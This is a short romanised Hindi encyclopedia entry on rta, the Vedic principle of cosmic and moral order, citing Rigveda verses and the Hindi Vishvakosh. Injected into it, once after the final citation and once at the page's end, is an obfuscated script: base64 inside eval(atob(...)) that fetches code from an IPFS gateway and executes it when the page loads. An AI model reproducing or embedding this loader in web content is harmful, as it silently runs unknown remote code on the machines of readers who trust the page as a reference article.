ऋत सिद्धांत
rrit vaidik sahity mean rrit shabd ka prayog srishti ke sarvamany niyam ke lie hua hai. sansar ke sabhi padarth parivartanashil haian kiantu parivartan ka niyam aparivartaniy niyam ke karan soory chandr gatishil haian. sansar mean jo kuchh bhi hai vah sab rrit ke niyam se bandha hua hai. rrit ko sabaka mool karan mana gaya hai. atev rrigved mean maruth ko rrit se udbhoot mana hai.[1] vishnu ko 'rrit ka garbh' mana gaya hai. dyau aur prithvi rrit par sthit haian.[2] sanbhav haian, rrit shabd ka prayog pahale bhautik niyamoan ke lie kiya gaya ho lekin bad mean rrit ke arth mean acharan sanbandhi niyamoan ka bhi samavesh ho gaya. usha aur soory ko rrit ka palan karanevala kaha gaya hai. is rrit ke niyam ka ullanghan karana asanbhav hai. varun, jo pahale bhautik niyamoan ke rakshak kahe jate the, bad mean 'rrit ke rakshak' (rritasy gopa) ke roop mean rrigved mean prashansit haian. devataoan se prarthana ki jati thi ki ve ham logoan ko rrit ke marg par le chalean tatha anrit ke marg se door rakhean.[3]rrit ko ved mean saty se prithakh mana gaya hai. rrit vastut: 'saty ka niyam' hai. at: rrit ke madhyam se saty ki prapti svikrit ki gee hai. yah rrit tatv vedoan ki darshanik bhavana ka mool roop hai. paravarti sahity mean rrit ka sthan sanbhavat: dharm ne le liya.[4]
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tika tippani aur sandarbh
- ↑ (4.2.1.3)
- ↑ (10.121.1)
- ↑ (10.133.6)
- ↑ hindi vishvakosh, khand 2 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 194 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>